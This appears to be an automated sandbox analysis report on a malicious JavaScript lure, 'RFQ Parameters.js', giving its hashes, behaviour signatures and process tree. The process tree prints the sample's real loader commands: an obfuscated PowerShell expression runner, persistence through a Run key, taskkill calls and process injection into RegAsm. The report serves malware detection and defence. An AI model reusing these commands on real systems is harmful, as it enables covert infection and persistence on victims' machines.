Analysis
- max time kernel
149s - max time network
124s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
27/10/2026, 06:37
Static task
static1
Behavioral task
behavioral1
Sample
RFQ Parameters.js
Resource
win10v2004-20260911-en
Behavioral task
behavioral2
Sample
RFQ Parameters.js
Resource
win11ltsc2024-20260911-en
General
- Target RFQ Parameters.js
- Size 59KB
- Sample261027-hdnaba11cv
- SHA256 fa19470f7cf48f2599cddc8e07ddb820081318a60d5263d422a529578f9b04e1
- MD5 d529829ba58370ed813542cb85d7bd59
- SHA1 f799f8cfffc881c00a58c66bedcdd4af94a4e24e
- SHA512 fcb29d9d3faf26fb6a966d6694ed46b48c587869892b7a36850f0a249b89789186629b3fa824aa0e134f2678eb3b3e1616eab563d96326aa58e02c5b37059960
- SSDEEP 768:vhJ8Z8Vftu2dAM1Y2f9PBlaPrURVMXILTtZm/8EQ6gnQIe2Pm:vhJ8Z8Vftu2dAM+rDYBZkiHnQIe2Pm
- TLSH T117430C47C3AA036AB2401BC4A895D01ADCF19532DC3ED989768ED7DFFFBC9526064632
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4792 4416 cmd.exe 89 - Badlisted process makes network request 5 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 7 3808 powershell.exe 8 3808 powershell.exe 10 3808 powershell.exe 11 3808 powershell.exe 12 3808 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4556 powershell.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000\Software\Microsoft\Windows\CurrentVersion\Run\jeSAmcabcm = "\"C:\\ProgramData\\Ahijgdb.js\"" powershell.exe - SmartAssembly .NET packer 1 IoCs
Detects SmartAssembly .NET packer.
resource yara_rule behavioral2/memory/3808-19-0x0000016163EE0000-0x0000016163EF6000-memory.dmp SmartAssembly - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 3808 set thread context of 2148 3808 powershell.exe 102 - Command and Scripting Interpreter: JavaScript 1 TTPs
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4792 cmd.exe 5844 cmd.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain wscript.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname wscript.exe - System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language RegAsm.exe - Kills process with taskkill 3 IoCs
pid Process 3848 taskkill.exe 472 taskkill.exe 6140 taskkill.exe - Suspicious behavior: EnumeratesProcesses 14 IoCs
pid Process 3808 powershell.exe 3808 powershell.exe 3808 powershell.exe 3808 powershell.exe 4556 powershell.exe 4556 powershell.exe 4556 powershell.exe 2148 RegAsm.exe 2148 RegAsm.exe 2148 RegAsm.exe 2148 RegAsm.exe 2148 RegAsm.exe 2148 RegAsm.exe 2148 RegAsm.exe - Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 3808 powershell.exe Token: SeDebugPrivilege 4556 powershell.exe Token: SeDebugPrivilege 3848 taskkill.exe Token: SeDebugPrivilege 472 taskkill.exe Token: SeDebugPrivilege 6140 taskkill.exe - Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 4792 wrote to memory of 3808 4792 cmd.exe 92 PID 3808 wrote to memory of 4556 3808 powershell.exe 93 PID 4556 wrote to memory of 5844 4556 powershell.exe 96 PID 5844 wrote to memory of 3848 5844 cmd.exe 98 PID 5844 wrote to memory of 472 5844 cmd.exe 99 PID 5844 wrote to memory of 6140 5844 cmd.exe 100 PID 3808 wrote to memory of 2148 3808 powershell.exe 102 PID 3808 wrote to memory of 2148 3808 powershell.exe 102 PID 3808 wrote to memory of 2148 3808 powershell.exe 102
Processes
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C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\RFQ Parameters.js"1⤵
- Reads the TCP/IP host and domain name from the registry
PID:4900
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C:\Windows\system32\cmd.execmd /c %SYSTEMROOT%\System32\WindowsPowerShell\v1.0\powershell.exe .([char[]](105,101,120) -join '') $env:fSmkamjFz; Copy-Item -Path C:\Users\Admin\AppData\Local\Temp\RFQ Parameters.js -Destination 'C:\ProgramData\Ahijgdb.js' -Force1⤵
- Process spawned unexpected child process
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4792 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe .([char[]](105,101,120) -join '') $env:fSmkamjFz; Copy-Item -Path C:\Users\Admin\AppData\Local\Temp\RFQ Parameters.js -Destination 'C:\ProgramData\Ahijgdb.js' -Force2⤵
- Badlisted process makes network request
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3808 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4556 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F4⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5844 -
C:\Windows\System32\taskkill.exetaskkill /IM RegAsm.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3848
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C:\Windows\System32\taskkill.exetaskkill /IM Vbc.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:472
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C:\Windows\System32\taskkill.exetaskkill /IM MsBuild.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:6140
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:2148
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
3JavaScript
1PowerShell
1Windows Command Shell
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
- Size 67KB
- SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
- MD5 b65d38126d60f6776d0fee761697a8ab
- SHA1 fce1b1fa5ee6c386768d73e767a6bf9a04c23b30
- SHA512 100a082250af816628e48f6949a2068bada9998b7bd29fa7408af7fd8d4425d03c85b92e6e2e4c08dc55e6bb56b4f31aedeaf3f4ac201e80d2cdac77353c5dd6
- SSDEEP 1536:mKLg0mYo2hOovpfKQVGflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoi3jiRjdvRwa5Z:mKLg0mYo2hOovpfKQVGflJd9YWqiU9Rg
- TLSH T11C636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 835b6db25c643c313012758056871ed01f6901821fb93a8460e57b13b13a415a
- MD5 46f20a2c2c0879cb36d06d9d92431223
- SHA1 fc5c338d298d95769f76bf6545d55f8a8a249920
- SHA512 9c6d2a526bda4b53a02aedf5ef6993771b6c56488aa767c0e2226bc4ec5810c1ff99aca1744d2f06a56fc638141e5ac90edde476d5296f5a2197c01a26e84461
- TLSH T190214837B3DC8615D889403A50CDEC0436B687DB909ECF6BBB85D644B53F599CE602A0
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2nv4wiqa.aso.psm1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH